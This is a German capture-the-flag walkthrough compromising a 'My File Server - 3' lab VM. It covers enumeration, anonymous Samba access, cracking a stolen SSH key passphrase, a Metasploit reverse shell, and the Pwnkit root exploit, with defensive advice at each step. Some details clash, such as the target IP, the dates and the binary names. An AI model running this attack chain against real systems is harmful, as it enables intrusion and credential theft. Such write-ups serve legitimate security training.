Die Aufklärungsphase dient der Identifizierung des Zielsystems und der Analyse seiner offenen Ports und Dienste.
192.168.2.130 08:00:27:77:fc:eb PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` verwendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden.
Bewertung: Ein Host mit der IP-Adresse `192.168.2.130` wurde erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:77:fc:eb`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.130` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen Hosts-Datei hinzugefügt.
192.168.2.130 my_file_server.vuln
Analyse: Der Hostname `my_file_server.vuln` wird der IP `192.168.2.130` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den definierten Hostnamen verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 22:54 CEST Nmap scan report for my_file_server.vuln (192.168.2.130) Host is up (0.00011s latency). Not shown: 64503 filtered tcp ports (no-response), 20 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 3 0 0 16 Feb 19 2020 pub [NSE: writeable] | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.199 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA) | 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA) |_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) |_http-title: 400 Bad Request |_http-server-header: Apache/2.4.6 (CentOS) 111/tcp open rpcbind 2-4 (RPC #100000) |_rpcinfo: ERROR: Script execution failed (use -d to debug) 445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA) 2049/tcp open nfs 3-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: ERROR 20048/tcp open mountd 1-3 (RPC #100005) MAC Address: 08:00:27:77:FC:EB (Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 (93%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 - 3.13 (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: FILESERVER; OS: Unix Host script results: | smb2-time: | date: 2023-09-26T20:55:33 |_ start_date: N/A | smb-os-discovery: | OS: Windows 6.1 (Samba 4.9.1) | Computer name: localhost | NetBIOS computer name: FILESERVER\x00 | Domain name: \x00 | FQDN: localhost |_ System time: 2023-09-27T02:25:35+05:30 | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-security-mode: | account_used:| authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: -1h49m51s, deviation: 3h10m29s, median: 7s TRACEROUTE HOP RTT ADDRESS 1 0.11 ms my_file_server.vuln (192.168.2.130)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-Pn`).
Bewertung: Der Scan identifiziert eine breite Palette offener Ports und veralteter Dienste:
Empfehlung (Pentester):**
1. Untersuchen Sie NFS: Exportierte Verzeichnisse listen (`showmount -e 192.168.2.130`). Versuchen Sie, diese zu mounten.
2. Nutzen Sie den beschreibbaren anonymen FTP (Port 21): Was ist in `/pub`? Können Dateien hochgeladen und über NFS/Samba ausgeführt werden?
3. Nutzen Sie ProFTPD (Port 2121): Versuchen Sie `SITE CPFR`/`CPTO`, um Dateien (z.B. `/etc/passwd`, SSH-Schlüssel) an einen beschreibbaren Ort (FTP `/pub` oder Samba-Share) zu kopieren.
4. Untersuchen Sie Samba (Port 445): Shares listen (`smbclient -L //192.168.2.130 -N`), Gastzugriff testen.
Empfehlung (Admin):** **Dringend:** Anonyme Schreibrechte für FTP entfernen! NFS-Freigaben sichern! Alle Dienste und OS aktualisieren! Gastzugriff für Samba deaktivieren, Signing erzwingen. ProFTPD sichern.
Wir filtern die Nmap-Ausgabe nach offenen Ports.
21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS)) 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn? 445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA) 2049/tcp open nfs_acl 3 (RPC #100227) 2121/tcp open ftp ProFTPD 1.3.5 20048/tcp open mountd 1-3 (RPC #100005) 34162/tcp open nlockmgr 1-4 (RPC #100021) 56479/tcp open status 1 (RPC #100024)
Analyse: Filtert die Nmap-Ausgabe, um nur offene Ports anzuzeigen.
Bewertung: Zeigt die primären 12 offenen Ports übersichtlich an (einige RPC-bezogene Ports fehlen im grep).
Empfehlung (Pentester): Nutzen Sie die vollständige Nmap-Ausgabe für die Detailanalyse.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.
Wir untersuchen den Webserver auf Port 80, obwohl er einen Fehler zurückgibt, auf mögliche Hinweise.
Ein Gobuster-Scan wird gegen Port 80 durchgeführt:
http://192.168.2.130/index.html (Status: 200) [Size: 174] http://192.168.2.130/readme.txt (Status: 200) [Size: 25]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot auf Port 80.
Bewertung: Findet eine `index.html` und eine `readme.txt`. Der Fund der `readme.txt` ist potenziell wichtig.
Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`.
Empfehlung (Admin):** Entfernen Sie unnötige Dateien.
Analyse des Inhalts von `readme.txt` (implizit, Inhalt wird später gezeigt):
My Password is
rootroot1
Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen.
Bewertung: **Kritischer Fund!** Die Datei enthält das Passwort `rootroot1` im Klartext.
Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer (wahrscheinlich nicht bei SSH wegen Konfiguration) und für andere gefundene Benutzer (z.B. `smbuser`) bei SSH (Port 22) und FTP (Port 21).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.
Wir untersuchen den FTP-Dienst auf Port 21 genauer, insbesondere den anonymen Zugang und das beschreibbare Verzeichnis.
Anonymer FTP-Login und Untersuchung:
Connected to 192.168.2.130. 220 (vsFTPd 3.0.2) Name (192.168.2.130:cyber): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||5301|). 150 Here comes the directory listing. drwxr-xr-x 3 0 0 16 Feb 18 2020 . drwxr-xr-x 3 0 0 16 Feb 18 2020 .. drwxrwxrwx 3 0 0 16 Feb 19 2020 pub 226 Directory send OK.
550 Failed to change directory.
local: shell.py remote: shell.py 229 Entering Extended Passive Mode (|||port|) 550 Permission denied.
Analyse: Anonymer FTP-Login. Das Stammverzeichnis enthält ein Verzeichnis `pub` mit Schreibrechten für alle (`drwxrwxrwx`). Versuche, das Verzeichnis zu wechseln oder ins Stammverzeichnis hochzuladen, scheitern.
Bewertung: Bestätigt den anonymen Zugang und das **kritische, beschreibbare `/pub`-Verzeichnis**. Eine Chroot-Umgebung ist wahrscheinlich.
Empfehlung (Pentester): Wechseln Sie in `/pub` und versuchen Sie dort den Upload. Kombinieren Sie dies mit Samba und ProFTPD.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für `/pub` (`chmod o-w /path/to/ftp/pub`). Deaktivieren Sie anonymen FTP.
Rekursives Herunterladen des FTP-Inhalts mit `wget`:
--2023-09-26 22:59:58-- ftp://Anonymous:*password*@192.168.2.130/ => 192.168.2.130/.listing Verbindungsaufbau zu 192.168.2.130:21 … verbunden. Anmelden als Anonymous … Angemeldet! > SYST ... fertig. > PWD ... fertig. > TYPE I ... fertig. > CWD nicht notwendig. > PASV ... fertig. > LIST ... fertig. 192.168.2.130/.listing [ <=> ] 180 --.-KB/s in 0s 2023-09-26 22:59:58 (30,5 MB/s) - 192.168.2.130/.listing gespeichert [180] 192.168.2.130/.listing gelöscht. --2023-09-26 22:59:58-- ftp://Anonymous:*password*@192.168.2.130/pub/ => 192.168.2.130/pub/.listing > CWD (1) /pub ... fertig. > PASV ... fertig. > LIST ... fertig. 192.168.2.130/pub/.list [ <=> ] 180 --.-KB/s in 0s 2023-09-26 22:59:58 (31,5 MB/s) - 192.168.2.130/pub/.listing gespeichert [180] Verzeichnis »192.168.2.130/pub« aufgeräumt. INSGESAMT Dateien: 180 Bytes in 1 Dateien geholt.
Analyse: `wget -r` lädt den Inhalt des anonymen FTP-Bereichs herunter.
Bewertung: Bestätigt, dass `/pub` (initial) leer ist.
Empfehlung (Pentester): Fokus auf beschreibbares `/pub` und andere Dienste.
Empfehlung (Admin):** Keine Aktion erforderlich.
Wir untersuchen den Samba-Dienst auf Port 445 auf Shares und Benutzer.
=( Share Enumeration on 192.168.2.130 )= Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers smbdata Disk smbdata smbuser Disk smbuser IPC$ IPC IPC Service (Samba 4.9.1) [+] Attempting to map shares on 192.168.2.130 //192.168.2.130/print$ Mapping: DENIED Listing: N/A Writing: N/A //192.168.2.130/smbdata Mapping: OK Listing: OK Writing: OK //192.168.2.130/smbuser Mapping: DENIED Listing: N/A Writing: N/A =( User Enumeration on 192.168.2.130 )= [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\smbuser (Local User)
Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.
Bewertung: Findet Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Kritisch:** Share `smbdata` ist **anonym les- und schreibbar**. Identifiziert Benutzer `smbuser`.
Empfehlung (Pentester):** Die beschreibbare `smbdata`-Share ist ein Hauptangriffsvektor. Verbinden Sie sich als Gast (`smbclient //192.168.2.130/smbdata -N`) und untersuchen Sie den Inhalt. Laden Sie einen SSH-Schlüssel hoch. Testen Sie `rootroot1` für `smbuser` bei SSH/FTP.
Empfehlung (Admin):** **Dringend:** Anonymen Schreibzugriff für `smbdata` entfernen! Gastzugriff deaktivieren. RID-Cycling verhindern.
Untersuchung der `smbdata`-Share mit `smbclient`:
Anonymous login successful Try "help" to get a list of possible commands.
. D 0 Thu Mar 19 05:53:12 2020 .. D 0 Tue Feb 18 12:47:54 2020 anaconda D 0 Tue Feb 18 12:48:15 2020 audit D 0 Tue Feb 18 12:48:15 2020 boot.log N 6120 Tue Feb 18 12:48:16 2020 btmp N 384 Tue Feb 18 12:48:16 2020 cron N 4813 Tue Feb 18 12:48:16 2020 dmesg N 31389 Tue Feb 18 12:48:16 2020 dmesg.old N 31389 Tue Feb 18 12:48:16 2020 glusterfs D 0 Tue Feb 18 12:48:16 2020 lastlog N 292292 Tue Feb 18 12:48:16 2020 maillog N 1982 Tue Feb 18 12:48:16 2020 messages N 684379 Tue Feb 18 12:48:17 2020 ppp D 0 Tue Feb 18 12:48:17 2020 samba D 0 Tue Feb 18 12:48:17 2020 secure N 11937 Tue Feb 18 12:48:17 2020 spooler N 0 Tue Feb 18 12:48:17 2020 tallylog N 0 Tue Feb 18 12:48:17 2020 tuned D 0 Tue Feb 18 12:48:17 2020 wtmp N 25728 Tue Feb 18 12:48:17 2020 xferlog N 100 Tue Feb 18 12:48:17 2020 yum.log N 10915 Tue Feb 18 12:48:17 2020 sshd_config N 3906 Wed Feb 19 08:46:38 2020 todo N 162 Tue Feb 25 15:22:29 2020 id_rsa N 1766 Thu Mar 19 05:43:16 2020 note.txt N 128 Thu Mar 19 05:53:12 2020 19976192 blocks of size 1024. 17734272 blocks available
getting file \id_rsa of size 1766 as id_rsa (78,4 KiloBytes/sec) (average 78,4 KiloBytes/sec)
getting file \note.txt of size 128 as note.txt (3,7 KiloBytes/sec) (average 33,0 KiloBytes/sec)
putting file shell.py as \shell.py (36,0 kb/s) (average 36,0 kb/s)
putting file rce_shell.php as \rce_shell.php (3,8 kb/s) (average 27,7 kb/s)
Analyse: Anonyme Verbindung zur `smbdata`-Share. Auflisten des Inhalts. Herunterladen von `id_rsa` und `note.txt`. Hochladen von `shell.py` und `rce_shell.php`.
Bewertung: **Kritischer Fund!** Die anonym beschreibbare Share enthält einen **privaten SSH-Schlüssel (`id_rsa`)** und eine Notiz (`note.txt`). Das Hochladen eigener Dateien ist ebenfalls möglich.
Empfehlung (Pentester):**
1. Analysieren Sie `note.txt`.
2. Analysieren Sie den privaten Schlüssel `id_rsa`. Prüfen Sie, zu welchem Benutzer er gehört (vermutlich `smbuser`, da dieser via enum4linux gefunden wurde). Versuchen Sie, ihn mit `ssh2john` und `john` zu knacken, falls er passwortgeschützt ist. Verwenden Sie den Schlüssel (ggf. mit geknacktem Passwort), um sich per SSH anzumelden.
3. Die hochgeladenen Shells sind wahrscheinlich nicht direkt ausführbar, aber der SSH-Schlüssel ist der direktere Weg.
Empfehlung (Admin):** **Dringend:** Anonymen R/W-Zugriff auf Samba-Shares entfernen! Speichern Sie niemals private Schlüssel auf öffentlichen Shares!
Analyse der heruntergeladenen Dateien:
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,0111C403C183156C592743C68EA855BD TRNiuBMH2lIgWgYpBb4MgbhQtW84gdUTJDRQLp/qwBv/KTbycWu+R07J2lGEFJH8 /GW22/sWS5fhDr4tynP8VdjiFwbBEcXYHa84XjeUZZaLJQTSwnE/afWVYty8AX -----END RSA PRIVATE KEY-----
Analyse: Der Inhalt des privaten Schlüssels wird angezeigt.
Bewertung: Der Header `Proc-Type: 4,ENCRYPTED` bestätigt, dass der Schlüssel **passwortgeschützt** ist.
Empfehlung (Pentester):** Verwenden Sie `ssh2john` und `john` (oder Hashcat), um die Passphrase des Schlüssels zu knacken.
Empfehlung (Admin):** Private Schlüssel immer mit starker Passphrase schützen.
I removed find command for security purpose, But don't want to delete 'getcap'. I don't think 'getcap & capsh' known to anyone
Analyse: Der Inhalt der Datei `note.txt` wird angezeigt.
Bewertung: Enthält einen Hinweis auf entfernte Befehle (`find`) und vorhandene Befehle (`getcap`, `capsh`), die für Linux Capabilities relevant sind. Dies könnte ein Hinweis auf einen Privesc-Vektor über Capabilities sein.
Empfehlung (Pentester): Behalten Sie diesen Hinweis für die lokale Enumeration nach dem Initial Access im Hinterkopf. Priorisieren Sie das Knacken der SSH-Schlüssel-Passphrase.
Empfehlung (Admin):** Keine Hinweise hinterlassen.
Knacken der SSH-Schlüssel-Passphrase:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (id_rsa)
1g 0:00:00:00 DONE (2023-09-14 00:11) 100.0g/s 12800p/s 12800c/s 12800C/s 123456..estrella
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: `ssh2john` extrahiert den Hash aus der Schlüsseldatei. `john` wird mit `rockyou.txt` verwendet, um die Passphrase zu knacken.
Bewertung: Erfolg! Die Passphrase für den privaten Schlüssel ist `password`. Ein sehr schwaches Passwort.
Empfehlung (Pentester): Versuchen Sie den SSH-Login als `smbuser` mit dem Schlüssel `id_rsa` und der Passphrase `password`.
Empfehlung (Admin):** Starke Passphrasen für SSH-Schlüssel verwenden.
Wir nutzen den privaten SSH-Schlüssel und die geknackte Passphrase, um uns als Benutzer `smbuser` anzumelden.
# InfoSec Warrior #
# www.InfoSecWarrior.com #
# My File Server - 3 #
# Just a simple addition to the problem #
# Designed By :- CyberKnight #
# Twitter :- @CyberKnight00 #
Enter passphrase for key 'id_rsa': password
Last login: Thu Mar 19 10:15:35 2020 from 192.168.56.1
[smbuser@fileserver ~]$
Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels `id_rsa` und der geknackten Passphrase `password`.
Bewertung: Initial Access erfolgreich! Wir haben eine Shell als `smbuser`.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`. Beachten Sie den Hinweis zu `getcap`/`capsh` aus der `note.txt`.
Empfehlung (Admin):** Korrigieren Sie die unsicheren Samba-Berechtigungen und die Speicherung des privaten Schlüssels. Verwenden Sie starke Passphrasen.
Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung für weitere Schritte ein.
smbuser
bla smbuser
Analyse: Überprüft den aktuellen Benutzer und listet die Home-Verzeichnisse auf.
Bewertung: Bestätigt den Benutzer `smbuser` und die Existenz des Benutzers `bla`.
Empfehlung (Pentester): Weiter enumerieren (SUID, sudo, Capabilities).
Empfehlung (Admin):** Keine Aktion.
Untersuchung einer potenziell interessanten ausführbaren Datei (Herkunft unklar):
runme: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x46b1cd7b6ecced9b0afa3b0a063841128a72f190, not stripped
Analyse: Der `file`-Befehl analysiert die Datei `runme` im aktuellen Verzeichnis (`~`).
Bewertung: **Wichtiger Fund!** Die Datei `runme` ist eine 64-Bit ELF-Datei mit gesetztem **SUID-Bit**. Dies ist ein sehr wahrscheinlicher Vektor für Privilegienerweiterung.
Empfehlung (Pentester): Führen Sie die Datei aus (`./runme`). Analysieren Sie sie mit `strings`, `ltrace`, `strace` oder einem Decompiler/Debugger, um ihre Funktionsweise zu verstehen und auszunutzen.
Empfehlung (Admin):** Überprüfen Sie benutzerdefinierte SUID-Dateien sorgfältig. Entfernen Sie das SUID-Bit, wenn es nicht absolut notwendig ist.
Analyse der OS-Version:
NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME="CentOS Linux 7 (Core)" ANSI_COLOR="0;31" CPE_NAME="cpe:/o:centos:centos:7" HOME_URL="https://www.centos.org/" BUG_REPORT_URL="https://bugs.centos.org/" CENTOS_MANTISBT_PROJECT="CentOS-7" CENTOS_MANTISBT_PROJECT_VERSION="7" REDHAT_SUPPORT_PRODUCT="centos" REDHAT_SUPPORT_PRODUCT_VERSION="7"
Analyse: Gibt den Inhalt von `/etc/os-release` aus.
Bewertung: Bestätigt, dass das System CentOS Linux 7 ist. Dies ist relevant für die Suche nach spezifischen Exploits.
Empfehlung (Pentester): Beachten Sie die OS-Version bei der Exploit-Suche.
Empfehlung (Admin):** System aktuell halten.
Versuch, `sudo` zu verwenden (scheitert):
[sudo] password for smbuser: (Passwort eingegeben)
smbuser is not in the sudoers file. This incident will be reported.
Analyse: Versuch, `sudo` zu verwenden, um einen Befehl als Benutzer `bla` auszuführen.
Bewertung: Fehlschlag. Der Benutzer `smbuser` hat keine `sudo`-Rechte.
Empfehlung (Pentester): Fokus auf den SUID-Binary `runme` oder Pwnkit.
Empfehlung (Admin):** Korrekte `sudoers`-Konfiguration.
Versuche, die SUID-Datei `esclate` (?) auszuführen:
id Why are you here ?!
Why are you here ?!
Speicherzugriffsfehler
Analyse: Verschiedene Versuche, eine Datei namens `esclate` (vermutlich die SUID-Datei `runme` umbenannt oder ein Link darauf) auszuführen, teilweise mit einem langen String als Argument, was auf einen Buffer Overflow-Versuch hindeutet.
Bewertung: Die Datei gibt eine Nachricht aus und stürzt bei einem langen Input mit einem Speicherzugriffsfehler ab. Dies deutet stark auf eine **Buffer Overflow-Schwachstelle** in der SUID-Datei hin. Dies ist ein klarer Privesc-Vektor.
Empfehlung (Pentester): Entwickeln Sie einen Exploit für den Buffer Overflow in `runme`/`esclate`, um eine Root-Shell zu erhalten. Dies erfordert Kenntnisse in Reverse Engineering und Exploit-Entwicklung. Alternativ: Prüfen Sie Pwnkit als einfachere Option.
Empfehlung (Admin):** Überprüfen Sie benutzerdefinierte SUID-Programme auf Sicherheitslücken wie Buffer Overflows. Entfernen Sie das SUID-Bit oder beheben Sie die Lücke.
Einrichtung einer Metasploit-Sitzung (optional, aber im Log vorhanden):
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[*] Started reverse TCP handler on 192.168.2.199:4445 [*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.113:port) at ... Shell Banner: [smbuser@fileserver ~]$ -- [smbuser@fileserver ~]$
Analyse: Eine Reverse Shell wird mittels Bash TCP Redirection zu Metasploit aufgebaut.
Bewertung: Erfolgreiche Shell-Sitzung (Session 1) als `smbuser`.
Empfehlung (Pentester): Upgrade zu Meterpreter für Pwnkit-Exploit.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen.
Ausführung von `local_exploit_suggester` in Metasploit (nach Upgrade zu Meterpreter, impliziert Session 3):
session => 3
[*] 192.168.2.113 - Collecting local exploits for x86/linux... [*] 192.168.2.113 - 186 exploit checks are being tried... [+] 192.168.2.113 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. [+] 192.168.2.113 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. [+] 192.168.2.113 - exploit/linux/local/network_manager_vpnc_username_priv_esc: The service is running, but could not be validated. ^C[-] 192.168.2.113 - Post interrupted by the console user [*] Post module execution completed
Analyse: Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung angewendet.
Bewertung: Findet Pwnkit (CVE-2021-4034) als wahrscheinliche Schwachstelle sowie potenzielle Kernel-Exploits.
Empfehlung (Pentester): Nutzen Sie das Pwnkit-Modul in Metasploit. Dies ist einfacher und stabiler als der Versuch, den Buffer Overflow in `runme` auszunutzen.
Empfehlung (Admin):** Patchen Sie Polkit und den Kernel.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`) mittels Metasploit, um Root-Rechte zu erlangen.
Kurzbeschreibung: Die lokale Enumeration (`find`) identifizierte `/usr/bin/pkexec`. Der Metasploit `local_exploit_suggester` bestätigte die Anfälligkeit für Pwnkit. Wir verwenden das entsprechende Metasploit-Modul, um eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Meterpreter-Sitzung als `smbuser` (Session 3). Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
session => 3
lhost => 192.168.2.199
lport => 4545
[*] Started reverse TCP handler on 192.168.2.199:4545 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.yjmzfdoztp [+] The target is vulnerable. [*] Writing '/tmp/.ucgciutubda/yhnqouycb/yhnqouycb.so' (548 bytes) ... [!] Verify cleanup of /tmp/.ucgciutubda [*] Sending stage (3045348 bytes) to 192.168.2.113 [+] Deleted /tmp/.ucgciutubda/yhnqouycb/yhnqouycb.so [+] Deleted /tmp/.ucgciutubda/.qinuliko [+] Deleted /tmp/.ucgciutubda [*] Meterpreter session 4 opened (192.168.2.199:4545 -> 192.168.2.113:35789) at 2023-09-14 00:55:39 +0200
Analyse: Das Pwnkit-Exploit-Modul wird geladen, auf die `smbuser`-Meterpreter-Sitzung (Session 3) gesetzt und ausgeführt. Ein neuer Listener wird auf Port 4545 gestartet.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 4).
Empfehlung (Pentester): Wechseln Sie zur neuen Sitzung (Session 4) und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 2: Bestätigung der Root-Rechte und Flaggen-Sammlung
Server username: root
Process 12631 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1000(smbuser)
proof.txt
_______ __ _____ _____
/ ____(_) /__ / ___/___ ______ _____ _____ |__ /
/ /_ / / / _ \\__ \/ _ \/ ___/ | / / _ \/ ___/ ______ /_ <
/ __/ / / / __/__/ / __/ / | |/ / __/ / /_____/ ___/ /
/_/ /_/_/\___/____/\___/_/ |___/\___/_/ /____/
flag : 7be300997079eaebcdf9975ede6746e9
Analyse: In der neuen Meterpreter-Sitzung wird `getuid` ausgeführt, was "root" zurückgibt. Eine System-Shell wird geöffnet, `id` bestätigt Root-Rechte. Im `/root`-Verzeichnis wird `proof.txt` gefunden und gelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `7be300997079eaebcdf9975ede6746e9` wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (vermutlich in `/home/smbuser` oder `/home/bla`). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus unsicheren Samba-Berechtigungen (anonym beschreibbar), die das Platzieren eines SSH-Schlüssels erlaubten (ggf. unter Mithilfe von ProFTPD-Features), und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und ermöglichte die vollständige Systemkompromittierung.
Empfehlungen (Zusammenfassung):**